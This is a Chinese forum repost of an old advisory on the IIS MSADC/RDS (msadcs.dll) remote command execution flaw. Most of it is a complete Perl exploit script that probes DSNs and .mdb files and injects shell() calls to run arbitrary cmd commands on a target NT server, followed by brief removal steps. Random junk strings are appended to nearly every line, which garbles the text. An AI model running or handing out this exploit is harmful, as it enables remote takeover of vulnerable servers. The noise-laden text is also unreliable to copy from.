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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) @,>=X:7  
T~ q'y~9o  
涉及程序: >-@{vyoOy  
Microsoft NT server 5, "^"*@<  
-z~ V   
描述: Tdmo'"m8z_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YQ8x6AJ  
(!&O4C5  
详细: XX5(/#  
如果你没有时间读详细内容的话,就删除: YT%SCaU  
c:\Program Files\Common Files\System\Msadc\msadcs.dll \$\(9!=  
有关的安全问题就没有了。 <+1w'-  
ZD] '$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 q$2taG}  
!L.z4n,n+  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 H1ui#5n2  
关于利用ODBC远程漏洞的描述,请参看: d# ?* 62  
F]&J%i F[  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &#b>AAx$2Y  
ZWe$(?  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -mYI[AG)  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |u@>[*k'=  
o-i.'L)X  
这里不再论述。 %?G.lej,x  
s8I77._s  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @j8L{FGnN  
&7kSLat+9{  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 96V, [-arf  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3SB7)8Id1  
/z-C :k\  
@_(@s*4W  
#将下面这段保存为txt文件,然后: "perl -x 文件名" J<$'^AR9"q  
T+{'W  
#!perl #?d>S;)+  
# C00*X[p  
# MSADC/RDS 'usage' (aka exploit) script {ZYCnS&?CL  
# 6Q?6-,?_  
# by rain.forest.puppy *Lk&@(  
# D '_#?%3^  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Yiw^@T\H`  
# beta test and find errors! ~~E=E;9  
8; N}d)*O  
use Socket; use Getopt::Std; JI; i1@| b  
getopts("e:vd:h:XR", \%args); 6!=9V0G~  
qmeEUch`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 21k-ob1Y  
fq!6#Usf;i  
if (!defined $args{h} && !defined $args{R}) { vlKKPS  
print qq~ eDZ3SIZ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } X1~A "sW[  
-h <host> = host you want to scan (ip or domain) gR6T]v  
-d <seconds> = delay between calls, default 1 second yaGVY*M0  
-X = dump Index Server path table, if available .BTT*vL-  
-v = verbose S gsR;)2  
-e = external dictionary file for step 5 =,;3z/k%  
^?VT y5yp  
Or a -R will resume a command session 0`Qs=R`OM  
+fR`@HI  
~; exit;} J3JRWy@?P  
iQj{J1V  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; jQlK-U=oi  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} rG%_O$_dO  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {7szo`U2  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); x@\'@>_GM  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} G8c}re   
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6Kc7@oO~  
NOr*+N\  
if (!defined $args{R}){ $ret = &has_msadc; -Z& {$J  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 2%%U)|39mB  
aRKG)0=  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" WC&Ltw8  
. "cmd /c "; ,<WykeC  
$in=<STDIN>; chomp $in; lMf5F8  
$command="cmd /c " . $in ; , &f20o  
s-DL=MD  
if (defined $args{R}) {&load; exit;} vK>^#b3  
q&S.C9W  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Mj;'vm7#'  
&try_btcustmr; _C#( )#  
H~K2`Cr)4  
print "\nStep 2: Trying to make our own DSN..."; MX_a]$\ :n  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; l;FgX+)  
m1Z8SM+  
print "\nStep 3: Trying known DSNs..."; ~ a&j4E  
&known_dsn; W/QOG&g  
QI{Y@xQ  
print "\nStep 4: Trying known .mdbs..."; ! \Kh\  
&known_mdb; J4^cd  
!@ '2  
if (defined $args{e}){ LBi>D`]  
print "\nStep 5: Trying dictionary of DSN names..."; JKbB,  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ^0~1/ PhOw  
ZDD|MH  
print "Sorry Charley...maybe next time?\n"; e;3 (,  
exit; v0J1%{/xs  
hiM!htc;M  
############################################################################## >#|Q,hVU5  
daNIP1Qn  
sub sendraw { # ripped and modded from whisker IbQ~f+y&2  
sleep($delay); # it's a DoS on the server! At least on mine... Q1B! W  
my ($pstr)=@_; |0%UM}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _n gMC]-T  
die("Socket problems\n"); nuA!Jln_  
if(connect(S,pack "SnA4x8",2,80,$target)){ GlZDuU  
select(S); $|=1; Kf5p* AI  
print $pstr; my @in=<S>; _kLoDju%  
select(STDOUT); close(S); wfzb:Aig`  
return @in; ]<= t  
} else { die("Can't connect...\n"); }} j!H?dnE||  
0g)mf6}o  
############################################################################## g?M69~G$:x  
#| Po&yu4R  
sub make_header { # make the HTTP request +rX,Sl`/  
my $msadc=<<EOT U#4W"1~iX  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 xK ux5u _  
User-Agent: ACTIVEDATA ".Ug A\0  
Host: $ip 0:8'Ov(  
Content-Length: $clen FX 3[U+  
Connection: Keep-Alive %syBm  
K; lC#  
ADCClientVersion:01.06 m %3Kq%?O  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 GTvb^+6  
Z&!$G'X  
--!ADM!ROX!YOUR!WORLD! !*-cf$  
Content-Type: application/x-varg ~h.B\Sc]Q  
Content-Length: $reqlen R[t[M}q  
,#haai(  
EOT V [>5  
; $msadc=~s/\n/\r\n/g; 1vb0G ;a;|  
return $msadc;} >o7k%T|l$  
3!x)LUWfWY  
############################################################################## )9->]U@  
&YMj\KmlSg  
sub make_req { # make the RDS request uuB\~ #?T  
my ($switch, $p1, $p2)=@_; hn .fX:}  
my $req=""; my $t1, $t2, $query, $dsn; mqw.v$>  
~3 (>_r  
if ($switch==1){ # this is the btcustmr.mdb query ha 5\T'  
$query="Select * from Customers where City=" . make_shell(); 5. i;IOx  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . bcNYoZ8`  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {BU,kjv1g  
D bJ(N h  
elsif ($switch==2){ # this is general make table query z{x -Vfd  
$query="create table AZZ (B int, C varchar(10))"; EK^2 2vi$  
$dsn="$p1";} us+adS.l&  
&aOOG8l  
elsif ($switch==3){ # this is general exploit table query )-oNy-YL  
$query="select * from AZZ where C=" . make_shell(); Sm5"Q  
$dsn="$p1";} \266N;JrN  
w@We,FUJN  
elsif ($switch==4){ # attempt to hork file info from index server j!dklQh0  
$query="select path from scope()"; yfrgYA  
$dsn="Provider=MSIDXS;";} 8%Lg)hvl  
N~(}?'y9S  
elsif ($switch==5){ # bad query g9JtWgu  
$query="select"; tWuQKN`_  
$dsn="$p1";} qE[}Cf]X  
$Izk]o;X~  
$t1= make_unicode($query); %h rR'*nG  
$t2= make_unicode($dsn); }Of^Y@{q.  
$req = "\x02\x00\x03\x00"; _6( =0::x  
$req.= "\x08\x00" . pack ("S1", length($t1)); -6\9B>qa  
$req.= "\x00\x00" . $t1 ; k,,}N 9  
$req.= "\x08\x00" . pack ("S1", length($t2)); i%2K%5{)$D  
$req.= "\x00\x00" . $t2 ; |zE7W  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Iq*7F5B  
return $req;} *XuzTGa"  
2~ a4ib  
############################################################################## ly2R8$Y`y`  
,D1QJPM  
sub make_shell { # this makes the shell() statement ]g :ZokU  
return "'|shell(\"$command\")|'";} uwJkqlUOz  
s~CA @  
############################################################################## 3L|k3 `I4  
wSDDejg  
sub make_unicode { # quick little function to convert to unicode E J1:N*BA  
my ($in)=@_; my $out; 4Ki'r&L\  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } L<n_}ucA  
return $out;} QB3AL; 7  
qI}Zg)q]  
############################################################################## -_+0[Nb.  
ORNE>6J H  
sub rdo_success { # checks for RDO return success (this is kludge) y-YYDEl  
my (@in) = @_; my $base=content_start(@in); sQw-#f7t  
if($in[$base]=~/multipart\/mixed/){ 2Xosj(H  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Rk<:m+V=  
return 0;} A|^?.uIM  
9z#IdY$a  
############################################################################## 0Sk{P>A  
 NNX/2  
sub make_dsn { # this makes a DSN for us _>.%X45xi  
my @drives=("c","d","e","f"); cQjJ9o7  
print "\nMaking DSN: "; bc-"If Z&  
foreach $drive (@drives) { _" n4SXhq  
print "$drive: "; |Cm}%sgR\0  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 4p]Y`];U  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %{Gqhb=u\  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 5"+* c@L  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; i~4Kek6,I  
return 0 if $2 eq "404"; # not found/doesn't exist S1."2AxO  
if($2 eq "200") { !?96P|G  
foreach $line (@results) { @47TDCr  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} HhO$`YZ%>  
} return 0;} x =k$^V~  
Dqki}k~{  
############################################################################## QnqX/vnR  
,=FYf|Z  
sub verify_exists { %2.T1X%!  
my ($page)=@_; H={,zZ11{  
my @results=sendraw("GET $page HTTP/1.0\n\n"); r?$\`,;  
return $results[0];} _v\QuI6  
+x1sV*S  
############################################################################## kDrGl{U}  
]TQjk{X<  
sub try_btcustmr { LxbVRw  
my @drives=("c","d","e","f"); F]&9Lp} "  
my @dirs=("winnt","winnt35","winnt351","win","windows");  F#hM S<  
_+U`afV  
foreach $dir (@dirs) {  EpiagCS  
print "$dir -> "; # fun status so you can see progress xnArYm  
foreach $drive (@drives) { /cg!Ap5  
print "$drive: "; # ditto xucV$[f  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 5HB4B <2  
$reqlenlen=length( "$reqlen" ); `JC!uc  
$clen= 206 + $reqlenlen + $reqlen; S"dQ@r9  
$8s&=OW  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 3jQ |C=   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} I^o^@C  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 975KRnj  
rpvm].4  
############################################################################## Y\rKw!u_!  
R .,w`<<  
sub odbc_error { '{|87kI  
my (@in)=@_; my $base; 0Bll6Rd  
my $base = content_start(@in); $]_=B Jyu  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this :=/DF  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4#o` -vcW  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ji1A>jepF  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?lTQjw{  
return $in[$base+4].$in[$base+5].$in[$base+6];} U|>Js!$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; a P`;Nr=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . !U91  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} OSBE5  
Y{jhT^tKK  
############################################################################## N.fIg  
@8 pRIS"V  
sub verbose { N7NK1<vw2  
my ($in)=@_; E yNCky  
return if !$verbose; /<n_X:[)  
print STDOUT "\n$in\n";} Fax73vl|^a  
$wBUu   
############################################################################## ;gF"o5/Q  
?HW*qD#k  
sub save { m~}nM|m%  
my ($p1, $p2, $p3, $p4)=@_; }5A?WH_  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; bv+PbK]iO  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; n9#@ e}r  
close OUT;} [P<oyd@#  
<|{=O9  
############################################################################## J9o ]$.e  
/rquI y^  
sub load { #PiW\Tq  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6pH.sX$!_  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2 nf{2edC  
@p=<IN>; close(IN); Y,+$vj:y8  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); CzwnmSv{.  
$target= inet_aton($ip) || die("inet_aton problems"); U+\\#5$  
print "Resuming to $ip ..."; uG/Zpi  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; S2`p&\Ifn  
if($p[1]==1) { GhX>YzD7  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; T3bBc  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; VH8,!#Q;  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); i# QI}r  
if (rdo_success(@results)){print "Success!\n";} \=w|Zeu{l  
else { print "failed\n"; verbose(odbc_error(@results));}} ^JH 4: h  
elsif ($p[1]==3){ rx%lL  
if(run_query("$p[3]")){ +] FdgmK:  
print "Success!\n";} else { print "failed\n"; }} N^O.P  
elsif ($p[1]==4){ w|NLK  
if(run_query($drvst . "$p[3]")){ 3t8VH`!mL{  
print "Success!\n"; } else { print "failed\n"; }} W&* 0F~  
exit;} ZM\Z2L]n  
WzF/wzR  
############################################################################## fi1tF/ `  
$[H3O(B0*  
sub create_table { +"Ka #Z  
my ($in)=@_; sVGyHA  
$reqlen=length( make_req(2,$in,"") ) - 28; d^ w6_  
$reqlenlen=length( "$reqlen" ); l@':mX3xd  
$clen= 206 + $reqlenlen + $reqlen; 59GS:  
my @results=sendraw(make_header() . make_req(2,$in,"")); $~_TE\F1  
return 1 if rdo_success(@results); :X+7}!Wlo  
my $temp= odbc_error(@results); verbose($temp); &)1+WrU  
return 1 if $temp=~/Table 'AZZ' already exists/; mzDbw-#  
return 0;} @<h@d_8^k  
'v?Z~"w=  
############################################################################## tX)^$3A  
}s? 9Hnqa  
sub known_dsn { c!b4Y4eJ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *M09Y'5]  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", xM[m(m  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Zhf+u r  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Py K)ks!6  
>Ka}v:E  
foreach $dSn (@dsns) { \:8 >@Q  
print "."; m#ID%[hg$  
next if (!is_access("DSN=$dSn")); $vx]\` ^  
if(create_table("DSN=$dSn")){ T$!. :v  
print "$dSn successful\n"; d7A vx  
if(run_query("DSN=$dSn")){ 67 ^?v)|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { N_wB  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ca5Ir<mL  
L2+~I<|>  
############################################################################## T-0fVTeN  
"luMz;B  
sub is_access { uvi+#4~G  
my ($in)=@_; ,-D3tleu`  
$reqlen=length( make_req(5,$in,"") ) - 28; Ns Pt1_ Y8  
$reqlenlen=length( "$reqlen" ); n' &:c}zKO  
$clen= 206 + $reqlenlen + $reqlen; `-IX"rf  
my @results=sendraw(make_header() . make_req(5,$in,"")); lx(kbSxF  
my $temp= odbc_error(@results); :hC+r=!I  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 4 +Wti!s  
return 0;} -uX): h!  
}Dp/K4  
############################################################################## | <gYzb q  
741Sd8  
sub run_query { *6<<6f`(  
my ($in)=@_; ,Tjc\;~%  
$reqlen=length( make_req(3,$in,"") ) - 28; _ ZMoPEW  
$reqlenlen=length( "$reqlen" ); Q3T@=z2j%  
$clen= 206 + $reqlenlen + $reqlen; g{RVxGE7  
my @results=sendraw(make_header() . make_req(3,$in,"")); VBo=*gn,$  
return 1 if rdo_success(@results); C8ek{o)%W  
my $temp= odbc_error(@results); verbose($temp); g\:(1oY  
return 0;} R `  
vL}e1V:  
############################################################################## ^\KZE|^3@  
>8PGyc*9  
sub known_mdb { vq=nG]cE)  
my @drives=("c","d","e","f","g"); EZypqe):/C  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +8h!@  
my $dir, $drive, $mdb; XcL jUz?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q8#zv_>K  
Qq+$ea?>  
# this is sparse, because I don't know of many x}B3h9]  
my @sysmdbs=( "\\catroot\\icatalog.mdb", NCL!|  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", JS$ojL^  
"\\system32\\certmdb.mdb", Cl&YN}t5  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 2!QQypQ  
/-s-W<S[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ZW7z[,tk<.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", nHyqfd<V>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^ZP $(a4  
"\\cfusion\\cfapps\\security\\realm_.mdb", pr-=<[ d  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", stQRl_('  
"\\cfusion\\database\\cfexamples.mdb", B63puX{u#  
"\\cfusion\\database\\cfsnippets.mdb", 07b =Zhh  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", &PZ&'N|P  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Y].,}}9k  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 8}C_/qeM  
"\\cfusion\\database\\smpolicy.mdb", , Ox$W  
"\\cfusion\\database\cypress.mdb", Q,v/]bXd  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", eI%9.Cx#I  
"\\website\\cgi-win\\dbsample.mdb", jzvrJ14  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", (P'{A>aHl0  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" }ff+RGxLIG  
); #these are just A1g.ww:  
foreach $drive (@drives) { Nk2n&(~$  
foreach $dir (@dirs){ [] cF*en  
foreach $mdb (@sysmdbs) { M47t(9krV  
print "."; Zo`_vx/{j  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ]sLdz^E3D  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; [8jIu&tJf  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ AdD,94/  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; uo`zAKM&A  
} else { print "Something's borked. Use verbose next time\n"; }}}}} " rA-u)Te  
'9u(9S  
foreach $drive (@drives) { fQQj2> 3w  
foreach $mdb (@mdbs) { ;-kC&GZf  
print "."; D||)H  
if(create_table($drv . $drive . $dir . $mdb)){ FdGnNDl*e  
print "\n" . $drive . $dir . $mdb . " successful\n"; ?mwa6]  
if(run_query($drv . $drive . $dir . $mdb)){ Y#[xX2z9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; X~g U$  
} else { print "Something's borked. Use verbose next time\n"; }}}}  T_)G5a  
} *(E]]8o  
)sN}ClgJ  
############################################################################## 0uL*-/|  
>)^Q p-  
sub hork_idx {  gx9=L&=d  
print "\nAttempting to dump Index Server tables...\n"; g286 P_a`*  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; `:.a5  
$reqlen=length( make_req(4,"","") ) - 28; t#d{hEr  
$reqlenlen=length( "$reqlen" ); 8Wba Hw_  
$clen= 206 + $reqlenlen + $reqlen; Uz =OTM  
my @results=sendraw2(make_header() . make_req(4,"","")); \r1nMw3&  
if (rdo_success(@results)){ LIE5of  
my $max=@results; my $c; my %d; d0V*[{  
for($c=19; $c<$max; $c++){ 7y4jk  
$results[$c]=~s/\x00//g; \&/V p`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; X6<Ds'I  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; l#IN)">1  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Zz?)k])F  
$d{"$1$2"}="";}  SwE bVwB  
foreach $c (keys %d){ print "$c\n"; } [[#zB-|  
} else {print "Index server doesn't seem to be installed.\n"; }} m`BE{%  
|BBo  
############################################################################## $+|. @ss  
+I3j 2u8L  
sub dsn_dict { i0n u5kD+d  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ?t)Mt]("  
while(<IN>){ a(IUAh*mO  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; XM f>B|  
next if (!is_access("DSN=$dSn")); LEuDDJ -  
if(create_table("DSN=$dSn")){ x3:d/>b  
print "$dSn successful\n"; ZiW&*nN?M  
if(run_query("DSN=$dSn")){ xc}kDpF=g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { f|6 Y  
print "Something's borked. Use verbose next time\n";}}} J\Db8O-/x4  
print "\n"; close(IN);} ^P|Zze zwU  
} _=h]|6t  
############################################################################## NY?pvb  
 oP~%7Jt  
sub sendraw2 { # ripped and modded from whisker \NZ@>on  
sleep($delay); # it's a DoS on the server! At least on mine... $MqEM~^=  
my ($pstr)=@_; 6<fcG  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \1sWmN6  
die("Socket problems\n"); n"w>Y)C(X)  
if(connect(S,pack "SnA4x8",2,80,$target)){ '""s%C+  
print "Connected. Getting data"; :{,k F  
open(OUT,">raw.out"); my @in; cs9"0&JX  
select(S); $|=1; print $pstr; l6- n{zG  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ^+w1:C5  
close(OUT); select(STDOUT); close(S); return @in; :28[k~.bo  
} else { die("Can't connect...\n"); }} f}EsS  
RK/>5  
############################################################################## :}-VLp4b  
OP|X-  
sub content_start { # this will take in the server headers IdoS6   
my (@in)=@_; my $c; !5 ?<QKOe  
for ($c=1;$c<500;$c++) { 3N ?"s1U  
if($in[$c] =~/^\x0d\x0a/){ iUbcvF3aP  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } _6m{zvyX>  
else { return $c+1; }}} Dtox/ ,"  
return -1;} # it should never get here actually xFcW%m>9C  
):\+%v^  
############################################################################## 5?A<('2  
wbB\~*Z)  
sub funky { #+H3b!8=  
my (@in)=@_; my $error=odbc_error(@in); d*x&Uh[K  
if($error=~/ADO could not find the specified provider/){ .qLX jU  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; d ATAH}r&  
exit;} %%9T-+T  
if($error=~/A Handler is required/){ m2HO .ljc  
print "\nServer has custom handler filters (they most likely are patched)\n"; +7{8T{  
exit;} oT|:gih5  
if($error=~/specified Handler has denied Access/){ @~&|BvK% \  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1:RK~_E  
exit;}} tr58J% Mu  
m=TZfa^r  
############################################################################## F$ckW'V  
5S[:;o  
sub has_msadc { x \I uM  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); k*OHI/uiow  
my $base=content_start(@results); IOa@dUh7a,  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Wj8WT)cB  
return 0;} ^B8 [B&K  
[b3$em<^JV  
######################## 7Y)i>[u3  
)Y`ybADd3  
Bjh8uW G  
解决方案: vR (nd  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll vuZ'Wo:S{  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *uSlp_;kB  
`QZKW  
拿出来充数 哈哈
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